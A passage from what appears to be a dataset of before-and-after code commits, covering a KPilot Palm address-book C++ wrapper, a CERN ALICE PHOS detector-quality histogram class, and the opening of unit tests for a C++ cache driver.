fAddressInfo()\n    {\n    _copyAddressInfo(copyFrom.fAddressInfo);\n    }\n\nPilotAddress& PilotAddress::operator=( const PilotAddress &copyFrom )\n    {\n    PilotAppCategory::operator=(copyFrom);\n    _copyAddressInfo(copyFrom.fAddressInfo);\n    return *this;\n    }\n\nvoid PilotAddress::_copyAddressInfo(const struct Address &copyFrom)\n    {\n    fAddressInfo.showPhone = copyFrom.showPhone;\n    for (int labelLp=0;labelLp < 5;labelLp++)\n\tfAddressInfo.phoneLabel[labelLp] =\n\t    copyFrom.phoneLabel[labelLp];\n    for (int entryLp=0;entryLp < 19;entryLp++)\n\t{\n\tif (copyFrom.entry[entryLp])\n\t    fAddressInfo.entry[entryLp] =\n\t\tqstrdup(copyFrom.entry[entryLp]);\n\telse\n\t    fAddressInfo.entry[entryLp] = 0L;\n\t}\n    return;\n    }\n\n\nPilotAddress::~PilotAddress()\n    {\n    free_Address(&fAddressInfo);\n    }\n\nQString PilotAddress::_typeToStr(EPhoneType type) const\n    {\n    QString s;\n    switch(type)\n\t{\n\tcase eWork : s = \"Work\"; break;\n\tcase eHome : s = \"Home\"; break;\n\tcase eFax : s = \"Fax\"; break;\n\tcase eOther : s = \"Other\"; break;\n\tcase ePager : s = \"Pager\"; break;\n\tcase eMobile : s = \"Mobile\"; break;\n\tcase eEmail : s = \"E-mail\"; break;\n\tcase eMain :\n\tdefault : s = \"Main\"; break;\n\t}\n    return s;\n    }\n\nbool PilotAddress::setCategory(const char *label)\n    {\n    for (int catId=0;catId < 16;catId++)\n\t{\n\tQString aCat = fAppInfo.category.name[catId]; \n\tif (label == aCat)\n\t    {\n\t    setCat(catId);\n\t    return true;\n\t    }\n\telse\n\t    \/\/ if empty, then no more labels; add it \n\t    if (aCat.isEmpty())\n\t\t{\n\t\tqstrncpy(fAppInfo.category.name[catId], label, 16);\n\t\tsetCat(catId);\n\t\treturn true;\n\t\t}\n\t}\n    \/\/ if got here, the category slots were full\n    return false;\n    }\n\nint PilotAddress::_getNextEmptyPhoneSlot() const\n    {\n    for (int phoneSlot = entryPhone1;phoneSlot <= entryPhone5;phoneSlot++)\n\t{\n\tQString phoneField = getField(phoneSlot);\n\tif (phoneField.isEmpty())\n\t    return phoneSlot;\n\t}\n    return entryCustom4;\n    }\n\nvoid PilotAddress::setPhoneField(EPhoneType type, const char *field,\n\t\t\t\t bool overflowCustom)\n    {\n    \/\/ first look to see if the type is already assigned to a fieldSlot\n    QString fieldStr(field);\n    QString typeStr(_typeToStr(type));\n    int appPhoneLabelNum = _getAppPhoneLabelNum(typeStr);\n    int fieldSlot = _findPhoneFieldSlot(appPhoneLabelNum);\n    if (fieldSlot == -1)\n\tfieldSlot = _getNextEmptyPhoneSlot();\n    \n    \/\/ store the overflow phone\n    if (fieldSlot == entryCustom4)\n\t{\n\tif (!fieldStr.isEmpty() && overflowCustom)\n\t    {\n\t    QString custom4Field = getField(entryCustom4);\n\t    custom4Field += typeStr + \" \" + fieldStr;\n\t    setField(entryCustom4, custom4Field.latin1());\n\t    }\n\t}\n    else \/\/ phone field 1 - 5; straight forward storage\n\t{\n\tsetField(fieldSlot, field);\n\tint labelIndex = fieldSlot - entryPhone1;\n\tfAddressInfo.phoneLabel[labelIndex] = appPhoneLabelNum;\n\t}\n    }\n\nint PilotAddress::_findPhoneFieldSlot(int appTypeNum) const\n    {\n    for (int index=0;index < 5;index++)\n\tif (fAddressInfo.phoneLabel[index] == appTypeNum)\n\t    return index+entryPhone1;\n    return -1;\n    }\n\nconst char *PilotAddress::getPhoneField(EPhoneType type,\n\t\t\t\t\tbool checkCustom4) const\n    {\n    \/\/ given the type, need to find which slot is associated with it\n    QString typeToStr(_typeToStr(type));\n    int appTypeNum = _getAppPhoneLabelNum(typeToStr);\n    int fieldSlot = _findPhoneFieldSlot(appTypeNum); \n    if (fieldSlot != -1)\n\treturn getField(fieldSlot);\n\n    \/\/ look through custom 4 for the field\n    if (!checkCustom4)\n\treturn 0L;\n\n    \/\/ look for the phone type str\n    QString customField(getField(entryCustom4));\n    int foundField = customField.find(typeToStr);\n    if (foundField == -1)\n\treturn 0L;\n\n    \/\/ parse out the next token\n    int startPos = foundField+typeToStr.length()+1;\n    int endPos = customField.find(' ', startPos);\n    if (endPos == -1)\n\tendPos = customField.length();\n    QString field = customField.mid(startPos, endPos);\n    field = field.simplifyWhiteSpace();\n\n    \/\/ return the token\n    return field.latin1();\n    }\n\n\nint PilotAddress::_getAppPhoneLabelNum(const QString &phoneType) const\n    {\n    for (int index=0;index < 8;index++)\n\tif (phoneType == fAppInfo.phoneLabels[index])\n\t    return index;\n    qDebug(\"PilotAddress::getAppPhoneLabelNum can't find index for phoneType = %s\", phoneType.latin1());\n    assert(0);\n    return -1;\n    }\n\nvoid \nPilotAddress::setField(int field, const char* text)\n    {\n    \/\/ This will have either been created with unpack_Address, and\/or will\n    \/\/ be released with free_Address, so use malloc\/free here:\n    if(fAddressInfo.entry[field])\n\t{\n\tfree(fAddressInfo.entry[field]);\n\t}\n    if (text)\n      {\n\tfAddressInfo.entry[field] = (char*)malloc(strlen(text) + 1);\n\tstrcpy(fAddressInfo.entry[field], text);\n      }\n    else\n      fAddressInfo.entry[field] = 0L;\n    }\n\nvoid*\nPilotAddress::pack(void *buf, int *len)\n    {\n    int i;\n    i = pack_Address(&fAddressInfo, (unsigned char*)buf, *len);\n    *len = i;\n    return buf;\n    }\n\n\/\/ $Log$\n\/\/ Revision 1.14  2001\/04\/04 21:20:32  stern\n\/\/ Added support for category information and copy constructors\n\/\/\n\/\/ Revision 1.13  2001\/04\/02 21:56:22  stern\n\/\/ Fixed bugs in getPhoneField and setPhoneField methods\n\/\/\n\/\/ Revision 1.12  2001\/03\/29 21:40:55  stern\n\/\/ Added APP_BUFFER_SIZE to pilotAddress\n\/\/\n\/\/ Revision 1.11  2001\/03\/19 23:12:39  stern\n\/\/ Made changes necessary for upcoming abbrowser conduit.\n\/\/\n\/\/ Mainly, I added two public methods to PilotAddress that allow for easier\n\/\/ setting and getting of phone fields.\n\/\/\n\/\/ I also have added some documentation throughout as I have tried to figure\n\/\/ out how everything works.\n\/\/\n\/\/ Revision 1.10  2001\/03\/09 09:46:15  adridg\n\/\/ Large-scale #include cleanup\n\/\/\n\/\/ Revision 1.9  2001\/02\/08 08:13:44  habenich\n\/\/ exchanged the common identifier \"id\" with source unique <sourcename>_id for --enable-final build\n\/\/\n\/\/ Revision 1.8  2001\/02\/05 20:58:48  adridg\n\/\/ Fixed copyright headers for source releases. No code changed\n\/\/\n<commit_msg>Fixed bug in copying an address<commit_after>\/* pilotAddress.cc\t\t\tKPilot\n**\n** Copyright (C) 1998-2001 by Dan Pilone\n**\n** This is a C++ wrapper for the pilot's address database structures.\n*\/\n\n\/*\n** This program is free software; you can redistribute it and\/or modify\n** it under the terms of the GNU General Public License as published by\n** the Free Software Foundation; either version 2 of the License, or\n** (at your option) any later version.\n**\n** This program is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n** GNU General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with this program in a file called COPYING; if not, write to\n** the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, \n** MA 02139, USA.\n*\/\n\n\/*\n** Bug reports and questions can be sent to adridg@cs.kun.nl\n*\/\n\n\nstatic const char *pilotadress_id=\"$Id$\";\n\n#include \"options.h\"\n\n#include <stdlib.h>\n#include <assert.h>\n\n#ifndef _KPILOT_PILOTADDRESS_H\n#include \"pilotAddress.h\"\n#endif\n\n\nconst int PilotAddress::APP_BUFFER_SIZE = 0xffff;\n\nPilotAddress::PilotAddress(struct AddressAppInfo &appInfo,\n\t\t\t   PilotRecord* rec)\n      : PilotAppCategory(rec), fAppInfo(appInfo), fAddressInfo()\n    {\n    unpack_Address(&fAddressInfo, (unsigned char*)rec->getData(), rec->getLen());\n    (void)pilotadress_id;\n    }\n\nPilotAddress::PilotAddress(struct AddressAppInfo &appInfo) :\n      PilotAppCategory(), fAppInfo(appInfo)\n    {\n    reset();\n    }\n\nPilotAddress::PilotAddress(const PilotAddress &copyFrom) :\n      PilotAppCategory(copyFrom), fAppInfo(copyFrom.fAppInfo),\n      fAddressInfo()\n    {\n    _copyAddressInfo(copyFrom.fAddressInfo);\n    }\n\nPilotAddress& PilotAddress::operator=( const PilotAddress &copyFrom )\n    {\n    PilotAppCategory::operator=(copyFrom);\n    _copyAddressInfo(copyFrom.fAddressInfo);\n    return *this;\n    }\n\nvoid PilotAddress::_copyAddressInfo(const struct Address &copyFrom)\n    {\n    fAddressInfo.showPhone = copyFrom.showPhone;\n    for (int labelLp=0;labelLp < 5;labelLp++)\n\tfAddressInfo.phoneLabel[labelLp] =\n\t    copyFrom.phoneLabel[labelLp];\n    for (int entryLp=0;entryLp < 19;entryLp++)\n\t{\n\tif (copyFrom.entry[entryLp])\n\t    fAddressInfo.entry[entryLp] =\n\t\tqstrdup(copyFrom.entry[entryLp]);\n\telse\n\t    fAddressInfo.entry[entryLp] = 0L;\n\t}\n    }\n\n\nPilotAddress::~PilotAddress()\n    {\n    free_Address(&fAddressInfo);\n    }\n\nQString PilotAddress::_typeToStr(EPhoneType type) const\n    {\n    QString s;\n    switch(type)\n\t{\n\tcase eWork : s = \"Work\"; break;\n\tcase eHome : s = \"Home\"; break;\n\tcase eFax : s = \"Fax\"; break;\n\tcase eOther : s = \"Other\"; break;\n\tcase ePager : s = \"Pager\"; break;\n\tcase eMobile : s = \"Mobile\"; break;\n\tcase eEmail : s = \"E-mail\"; break;\n\tcase eMain :\n\tdefault : s = \"Main\"; break;\n\t}\n    return s;\n    }\n\nbool PilotAddress::setCategory(const char *label)\n    {\n    for (int catId=0;catId < 16;catId++)\n\t{\n\tQString aCat = fAppInfo.category.name[catId]; \n\tif (label == aCat)\n\t    {\n\t    setCat(catId);\n\t    return true;\n\t    }\n\telse\n\t    \/\/ if empty, then no more labels; add it \n\t    if (aCat.isEmpty())\n\t\t{\n\t\tqstrncpy(fAppInfo.category.name[catId], label, 16);\n\t\tsetCat(catId);\n\t\treturn true;\n\t\t}\n\t}\n    \/\/ if got here, the category slots were full\n    return false;\n    }\n\nint PilotAddress::_getNextEmptyPhoneSlot() const\n    {\n    for (int phoneSlot = entryPhone1;phoneSlot <= entryPhone5;phoneSlot++)\n\t{\n\tQString phoneField = getField(phoneSlot);\n\tif (phoneField.isEmpty())\n\t    return phoneSlot;\n\t}\n    return entryCustom4;\n    }\n\nvoid PilotAddress::setPhoneField(EPhoneType type, const char *field,\n\t\t\t\t bool overflowCustom)\n    {\n    \/\/ first look to see if the type is already assigned to a fieldSlot\n    QString fieldStr(field);\n    QString typeStr(_typeToStr(type));\n    int appPhoneLabelNum = _getAppPhoneLabelNum(typeStr);\n    int fieldSlot = _findPhoneFieldSlot(appPhoneLabelNum);\n    if (fieldSlot == -1)\n\tfieldSlot = _getNextEmptyPhoneSlot();\n    \n    \/\/ store the overflow phone\n    if (fieldSlot == entryCustom4)\n\t{\n\tif (!fieldStr.isEmpty() && overflowCustom)\n\t    {\n\t    QString custom4Field = getField(entryCustom4);\n\t    custom4Field += typeStr + \" \" + fieldStr;\n\t    setField(entryCustom4, custom4Field.latin1());\n\t    }\n\t}\n    else \/\/ phone field 1 - 5; straight forward storage\n\t{\n\tsetField(fieldSlot, field);\n\tint labelIndex = fieldSlot - entryPhone1;\n\tfAddressInfo.phoneLabel[labelIndex] = appPhoneLabelNum;\n\t}\n    }\n\nint PilotAddress::_findPhoneFieldSlot(int appTypeNum) const\n    {\n    for (int index=0;index < 5;index++)\n\tif (fAddressInfo.phoneLabel[index] == appTypeNum)\n\t    return index+entryPhone1;\n    return -1;\n    }\n\nconst char *PilotAddress::getPhoneField(EPhoneType type,\n\t\t\t\t\tbool checkCustom4) const\n    {\n    \/\/ given the type, need to find which slot is associated with it\n    QString typeToStr(_typeToStr(type));\n    int appTypeNum = _getAppPhoneLabelNum(typeToStr);\n    int fieldSlot = _findPhoneFieldSlot(appTypeNum); \n    if (fieldSlot != -1)\n\treturn getField(fieldSlot);\n\n    \/\/ look through custom 4 for the field\n    if (!checkCustom4)\n\treturn 0L;\n\n    \/\/ look for the phone type str\n    QString customField(getField(entryCustom4));\n    int foundField = customField.find(typeToStr);\n    if (foundField == -1)\n\treturn 0L;\n\n    \/\/ parse out the next token\n    int startPos = foundField+typeToStr.length()+1;\n    int endPos = customField.find(' ', startPos);\n    if (endPos == -1)\n\tendPos = customField.length();\n    QString field = customField.mid(startPos, endPos);\n    field = field.simplifyWhiteSpace();\n\n    \/\/ return the token\n    return field.latin1();\n    }\n\n\nint PilotAddress::_getAppPhoneLabelNum(const QString &phoneType) const\n    {\n    for (int index=0;index < 8;index++)\n\tif (phoneType == fAppInfo.phoneLabels[index])\n\t    return index;\n    qDebug(\"PilotAddress::getAppPhoneLabelNum can't find index for phoneType = %s\", phoneType.latin1());\n    assert(0);\n    return -1;\n    }\n\nvoid \nPilotAddress::setField(int field, const char* text)\n    {\n    \/\/ This will have either been created with unpack_Address, and\/or will\n    \/\/ be released with free_Address, so use malloc\/free here:\n    if(fAddressInfo.entry[field])\n\t{\n\tfree(fAddressInfo.entry[field]);\n\t}\n    if (text)\n      {\n\tfAddressInfo.entry[field] = (char*)malloc(strlen(text) + 1);\n\tstrcpy(fAddressInfo.entry[field], text);\n      }\n    else\n      fAddressInfo.entry[field] = 0L;\n    }\n\nvoid*\nPilotAddress::pack(void *buf, int *len)\n    {\n    int i;\n    i = pack_Address(&fAddressInfo, (unsigned char*)buf, *len);\n    *len = i;\n    return buf;\n    }\n\n\/\/ $Log$\n\/\/ Revision 1.15  2001\/04\/11 11:02:37  leitner\n\/\/ A void function must not return anything. Also there was an uninitialize\n\/\/ variable being used.\n\/\/\n\/\/ Revision 1.14  2001\/04\/04 21:20:32  stern\n\/\/ Added support for category information and copy constructors\n\/\/\n\/\/ Revision 1.13  2001\/04\/02 21:56:22  stern\n\/\/ Fixed bugs in getPhoneField and setPhoneField methods\n\/\/\n\/\/ Revision 1.12  2001\/03\/29 21:40:55  stern\n\/\/ Added APP_BUFFER_SIZE to pilotAddress\n\/\/\n\/\/ Revision 1.11  2001\/03\/19 23:12:39  stern\n\/\/ Made changes necessary for upcoming abbrowser conduit.\n\/\/\n\/\/ Mainly, I added two public methods to PilotAddress that allow for easier\n\/\/ setting and getting of phone fields.\n\/\/\n\/\/ I also have added some documentation throughout as I have tried to figure\n\/\/ out how everything works.\n\/\/\n\/\/ Revision 1.10  2001\/03\/09 09:46:15  adridg\n\/\/ Large-scale #include cleanup\n\/\/\n\/\/ Revision 1.9  2001\/02\/08 08:13:44  habenich\n\/\/ exchanged the common identifier \"id\" with source unique <sourcename>_id for --enable-final build\n\/\/\n\/\/ Revision 1.8  2001\/02\/05 20:58:48  adridg\n\/\/ Fixed copyright headers for source releases. No code changed\n\/\/\n<|endoftext|>"}
{"text":"<commit_before>#include \"AliPHOSDA2.h\"\n#include \"TString.h\"\n\nClassImp(AliPHOSDA2)\n\n\/\/----------------------------------------------------------------\nAliPHOSDA2::AliPHOSDA2(int module) : TNamed(),\n fHistoFile(0),fMod(module)\n\n{\n  \/\/ Create AliPHOSDA2 (\"Bad channels finder\") object.\n  \/\/ module is the PHOS module number (0..4).\n  \/\/ Quality histogram names: module_iX_iZ_gain.\n  \/\/ Root file name: PHOS_ModuleX_BCM.root, where X - module number.\n  \n  char name[128];\n  sprintf(name,\"PHOS_Module%d_BCM\",fMod);\n  SetName(name);\n\n  SetTitle(\"Detector Algorithm to check for PHOS channels quality\");\n\n  char rootname[128];\n  sprintf(rootname,\"%s.root\",GetName());\n\n  fHistoFile =  new TFile(rootname,\"recreate\"); \/\/ new file!\n  \n  for(Int_t iX=0; iX<64; iX++) {\n    for(Int_t iZ=0; iZ<56; iZ++) {\n      for(Int_t iGain=0; iGain<2; iGain++) {\n\tfHQuality[iX][iZ][iGain] = 0;\n      }\n    }\n  }\n\n  fMaps[0]=0;\n  fMaps[1]=0;\n\n}\n\n\/\/-------------------------------------------------------------------\nAliPHOSDA2::AliPHOSDA2(const AliPHOSDA2& da) : TNamed(da),\n  fHistoFile(0),fMod(da.fMod)\n{\n  \/\/ Copy constructor.\n\n  char hname[128];\n  TH1F* hist1=0;\n\n  for(Int_t iX=0; iX<64; iX++) {\n    for(Int_t iZ=0; iZ<56; iZ++) {\n      for(Int_t iGain=0; iGain<2; iGain++) {\n\n\tsprintf(hname,\"%d_%d_%d_%d\",fMod,iX,iZ,iGain);\n\thist1 = (TH1F*)da.fHistoFile->Get(hname);\n\tif(hist1) fHQuality[iX][iZ][iGain] = new TH1F(*hist1);\n\telse\n\t  fHQuality[iX][iZ][iGain] = 0;\n      }\n    }\n  }\n  \n  if(da.fMaps[0]) \n    fMaps[0] = new TH2F(*da.fMaps[0]);\n  else\n    fMaps[0] = 0;\n\n  if(da.fMaps[1]) \n    fMaps[1] = new TH2F(*da.fMaps[1]);\n  else\n    fMaps[1] = 0;\n  \n  fHistoFile = new TFile(da.GetName(),\"recreate\");\n  \n}\n\n\/\/-------------------------------------------------------------------\nAliPHOSDA2& AliPHOSDA2::operator= (const AliPHOSDA2& da)\n{\n  \/\/Assignment operator.\n\n  if(this != &da) {\n\n    TString oldname(fHistoFile->GetName());\n    TString newname(da.fHistoFile->GetName());\n\n    if(oldname != newname) {\n      delete fHistoFile;\n      fHistoFile = new TFile(da.fHistoFile->GetName(),\"update\");\n    }\n\n    fMod = da.fMod;\n\n    SetName(da.GetName());\n    SetTitle(da.GetTitle());\n\n    for(Int_t iX=0; iX<64; iX++) {\n      for(Int_t iZ=0; iZ<56; iZ++) {\n\tfor(Int_t iGain=0; iGain<2; iGain++) {\n\t  if (fHQuality[iX][iZ][iGain]) delete fHQuality[iX][iZ][iGain];\n\t  fHQuality[iX][iZ][iGain] = da.fHQuality[iX][iZ][iGain];\n\t}\n      }\n    }\n\n    if(fMaps[0]) { \n      delete fMaps[0];\n      fMaps[0] = da.fMaps[0];\n    } \n\n    if(fMaps[1]) { \n      delete fMaps[1];\n      fMaps[1] = da.fMaps[1];\n    } \n    \n  }\n  \n  return *this;\n}\n\n\n\/\/-------------------------------------------------------------------\nAliPHOSDA2::~AliPHOSDA2()\n{\n  \/\/ Destructor\n  \n  UpdateHistoFile();\n  if(fHistoFile) delete fHistoFile;\n  \n}\n\n\/\/-------------------------------------------------------------------\nvoid AliPHOSDA2::FillQualityHistograms(Float_t quality[64][56][2]) \n{\n  \/\/ Fills quality histograms.\n  \/\/ _By definition_, qood quality is 0<quality<1, \n  \/\/ all outside that is a bad quality.\n  \/\/ If no quality value read for particular channel, \n  \/\/ the correspondent array entry should be filled by zero.\n  \/\/ WARNING: this function should be called once per event!\n\n  char hname[128];\n  char htitl[128];\n\n  for(Int_t iX=0; iX<64; iX++) {\n    for (Int_t iZ=0; iZ<56; iZ++) {\n\n      for(Int_t iGain=0; iGain<2; iGain++) {\n\tif(!quality[iX][iZ][iGain]) continue;\n\t\n\tif(fHQuality[iX][iZ][iGain]) \n\t  fHQuality[iX][iZ][iGain]->Fill(quality[iX][iZ][iGain]);\n\telse {\n\t  sprintf(hname,\"%d_%d_%d_%d\",fMod,iX,iZ,iGain);\n\t  sprintf(htitl,\"Quality for crystal %d_%d_%d and gain %d\",fMod,iX,iZ,iGain);\n\t  fHQuality[iX][iZ][iGain] = new TH1F(hname,htitl,100,1.e-6,10.);\n\t  fHQuality[iX][iZ][iGain]->Fill(quality[iX][iZ][iGain]);\n\t}\n      }\n\n    }\n  }\n\n}\n\n\/\/-------------------------------------------------------------------\nvoid AliPHOSDA2::UpdateHistoFile()\n{\n  \/\/ Write histograms to file\n\n  if(!fHistoFile) return;\n  if(!fHistoFile->IsOpen()) return;\n\n  char titl[128];\n\n  if(fMaps[0]) \n    fMaps[0]->Reset();\n  else {\n    sprintf(titl,\"Quality map for Low gain\");\n    fMaps[0] = new TH2F(\"gmaplow\",  titl, 64,0.,64.,56,0.,56.);\n  }\n\n  if(fMaps[1]) \n    fMaps[1]->Reset();\n  else {\n    sprintf(titl,\"Quality map for High gain\");\n    fMaps[1] = new TH2F(\"gmaphigh\", titl, 64,0.,64.,56,0.,56.);\n  }\n    \n  TH1F* hist1=0;\n\n  for(Int_t iX=0; iX<64; iX++) {\n    for(Int_t iZ=0; iZ<56; iZ++) {\n\n      for(Int_t iGain=0; iGain<2; iGain++) {\n\thist1 = fHQuality[iX][iZ][iGain];\n\tif(hist1) { \n\t  hist1->Write(hist1->GetName(),TObject::kWriteDelete);\n\t  Double_t mean = hist1->GetMean();\n\t  fMaps[iGain]->Fill(iX,iZ,mean);\n\t}\n      } \n\n    }\n  }\n\n  fMaps[0]->Write(fMaps[0]->GetName(),TObject::kWriteDelete);\n  fMaps[1]->Write(fMaps[1]->GetName(),TObject::kWriteDelete);\n\n}\n\n<commit_msg>Wrong bin enumeration fixed.<commit_after>#include \"AliPHOSDA2.h\"\n#include \"TString.h\"\n\nClassImp(AliPHOSDA2)\n\n\/\/----------------------------------------------------------------\nAliPHOSDA2::AliPHOSDA2(int module) : TNamed(),\n fHistoFile(0),fMod(module)\n\n{\n  \/\/ Create AliPHOSDA2 (\"Bad channels finder\") object.\n  \/\/ module is the PHOS module number (0..4).\n  \/\/ Quality histogram names: module_iX_iZ_gain.\n  \/\/ Root file name: PHOS_ModuleX_BCM.root, where X - module number.\n  \n  char name[128];\n  sprintf(name,\"PHOS_Module%d_BCM\",fMod);\n  SetName(name);\n\n  SetTitle(\"Detector Algorithm to check for PHOS channels quality\");\n\n  char rootname[128];\n  sprintf(rootname,\"%s.root\",GetName());\n\n  fHistoFile =  new TFile(rootname,\"recreate\"); \/\/ new file!\n  \n  for(Int_t iX=0; iX<64; iX++) {\n    for(Int_t iZ=0; iZ<56; iZ++) {\n      for(Int_t iGain=0; iGain<2; iGain++) {\n\tfHQuality[iX][iZ][iGain] = 0;\n      }\n    }\n  }\n\n  fMaps[0]=0;\n  fMaps[1]=0;\n\n}\n\n\/\/-------------------------------------------------------------------\nAliPHOSDA2::AliPHOSDA2(const AliPHOSDA2& da) : TNamed(da),\n  fHistoFile(0),fMod(da.fMod)\n{\n  \/\/ Copy constructor.\n\n  char hname[128];\n  TH1F* hist1=0;\n\n  for(Int_t iX=0; iX<64; iX++) {\n    for(Int_t iZ=0; iZ<56; iZ++) {\n      for(Int_t iGain=0; iGain<2; iGain++) {\n\n\tsprintf(hname,\"%d_%d_%d_%d\",fMod,iX,iZ,iGain);\n\thist1 = (TH1F*)da.fHistoFile->Get(hname);\n\tif(hist1) fHQuality[iX][iZ][iGain] = new TH1F(*hist1);\n\telse\n\t  fHQuality[iX][iZ][iGain] = 0;\n      }\n    }\n  }\n  \n  if(da.fMaps[0]) \n    fMaps[0] = new TH2F(*da.fMaps[0]);\n  else\n    fMaps[0] = 0;\n\n  if(da.fMaps[1]) \n    fMaps[1] = new TH2F(*da.fMaps[1]);\n  else\n    fMaps[1] = 0;\n  \n  fHistoFile = new TFile(da.GetName(),\"recreate\");\n  \n}\n\n\/\/-------------------------------------------------------------------\nAliPHOSDA2& AliPHOSDA2::operator= (const AliPHOSDA2& da)\n{\n  \/\/Assignment operator.\n\n  if(this != &da) {\n\n    TString oldname(fHistoFile->GetName());\n    TString newname(da.fHistoFile->GetName());\n\n    if(oldname != newname) {\n      delete fHistoFile;\n      fHistoFile = new TFile(da.fHistoFile->GetName(),\"update\");\n    }\n\n    fMod = da.fMod;\n\n    SetName(da.GetName());\n    SetTitle(da.GetTitle());\n\n    for(Int_t iX=0; iX<64; iX++) {\n      for(Int_t iZ=0; iZ<56; iZ++) {\n\tfor(Int_t iGain=0; iGain<2; iGain++) {\n\t  if (fHQuality[iX][iZ][iGain]) delete fHQuality[iX][iZ][iGain];\n\t  fHQuality[iX][iZ][iGain] = da.fHQuality[iX][iZ][iGain];\n\t}\n      }\n    }\n\n    if(fMaps[0]) { \n      delete fMaps[0];\n      fMaps[0] = da.fMaps[0];\n    } \n\n    if(fMaps[1]) { \n      delete fMaps[1];\n      fMaps[1] = da.fMaps[1];\n    } \n    \n  }\n  \n  return *this;\n}\n\n\n\/\/-------------------------------------------------------------------\nAliPHOSDA2::~AliPHOSDA2()\n{\n  \/\/ Destructor\n  \n  UpdateHistoFile();\n  if(fHistoFile) delete fHistoFile;\n  \n}\n\n\/\/-------------------------------------------------------------------\nvoid AliPHOSDA2::FillQualityHistograms(Float_t quality[64][56][2]) \n{\n  \/\/ Fills quality histograms.\n  \/\/ _By definition_, qood quality is 0<quality<1, \n  \/\/ all outside that is a bad quality.\n  \/\/ If no quality value read for particular channel, \n  \/\/ the correspondent array entry should be filled by zero.\n  \/\/ WARNING: this function should be called once per event!\n\n  char hname[128];\n  char htitl[128];\n\n  for(Int_t iX=0; iX<64; iX++) {\n    for (Int_t iZ=0; iZ<56; iZ++) {\n\n      for(Int_t iGain=0; iGain<2; iGain++) {\n\tif(!quality[iX][iZ][iGain]) continue;\n\t\n\tif(fHQuality[iX][iZ][iGain]) \n\t  fHQuality[iX][iZ][iGain]->Fill(quality[iX][iZ][iGain]);\n\telse {\n\t  sprintf(hname,\"%d_%d_%d_%d\",fMod,iX,iZ,iGain);\n\t  sprintf(htitl,\"Quality for crystal %d_%d_%d and gain %d\",fMod,iX,iZ,iGain);\n\t  fHQuality[iX][iZ][iGain] = new TH1F(hname,htitl,100,1.e-6,10.);\n\t  fHQuality[iX][iZ][iGain]->Fill(quality[iX][iZ][iGain]);\n\t}\n      }\n\n    }\n  }\n\n}\n\n\/\/-------------------------------------------------------------------\nvoid AliPHOSDA2::UpdateHistoFile()\n{\n  \/\/ Write histograms to file\n\n  if(!fHistoFile) return;\n  if(!fHistoFile->IsOpen()) return;\n\n  char titl[128];\n\n  if(fMaps[0]) \n    fMaps[0]->Reset();\n  else {\n    sprintf(titl,\"Quality map for Low gain\");\n    fMaps[0] = new TH2F(\"gmaplow\",  titl, 64,0.,64.,56,0.,56.);\n  }\n\n  if(fMaps[1]) \n    fMaps[1]->Reset();\n  else {\n    sprintf(titl,\"Quality map for High gain\");\n    fMaps[1] = new TH2F(\"gmaphigh\", titl, 64,0.,64.,56,0.,56.);\n  }\n    \n  TH1F* hist1=0;\n\n  for(Int_t iX=0; iX<64; iX++) {\n    for(Int_t iZ=0; iZ<56; iZ++) {\n\n      for(Int_t iGain=0; iGain<2; iGain++) {\n\thist1 = fHQuality[iX][iZ][iGain];\n\tif(hist1) { \n\t  hist1->Write(hist1->GetName(),TObject::kWriteDelete);\n\t  Double_t mean = hist1->GetMean();\n\t  fMaps[iGain]->SetBinContent(iX+1,iZ+1,mean);\n\t}\n      } \n\n    }\n  }\n\n  fMaps[0]->Write(fMaps[0]->GetName(),TObject::kWriteDelete);\n  fMaps[1]->Write(fMaps[1]->GetName(),TObject::kWriteDelete);\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright (c) <2016> Web App SDK granada <afernandez@cookinapps.io>\n *\n * This source code is licensed under the MIT license.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n * =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n *\n * Tests for granada::util::string\n *\n * =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n **\/\n#include \"stdafx.h\"\n#include <vector>\n#include \"granada\/util\/time.h\"\n#include \"granada\/cache\/shared_map_cache_driver.h\"\n\nnamespace granada { namespace test { namespace cache {\n    \nSUITE(shared_map_cache_driver)\n{\n\n\tTEST(write_read)\n\t{\n\t\tgranada::cache::SharedMapCacheDriver cache_driver;\n\t\tcache_driver.Write(\"hello\",\"world\");\n\t\tVERIFY_ARE_EQUAL(cache_driver.Read(\"hello\"),\"world\");\n\n\t\tcache_driver.Write(\"hello\",\"world\",\"!!!\");\n\t\tVERIFY_ARE_EQUAL(cache_driver.Read(\"hello\",\"world\"),\"!!!\");\n\t}\n\n\n\tTEST(exist)\n\t{\n\t\tgranada::cache::SharedMapCacheDriver 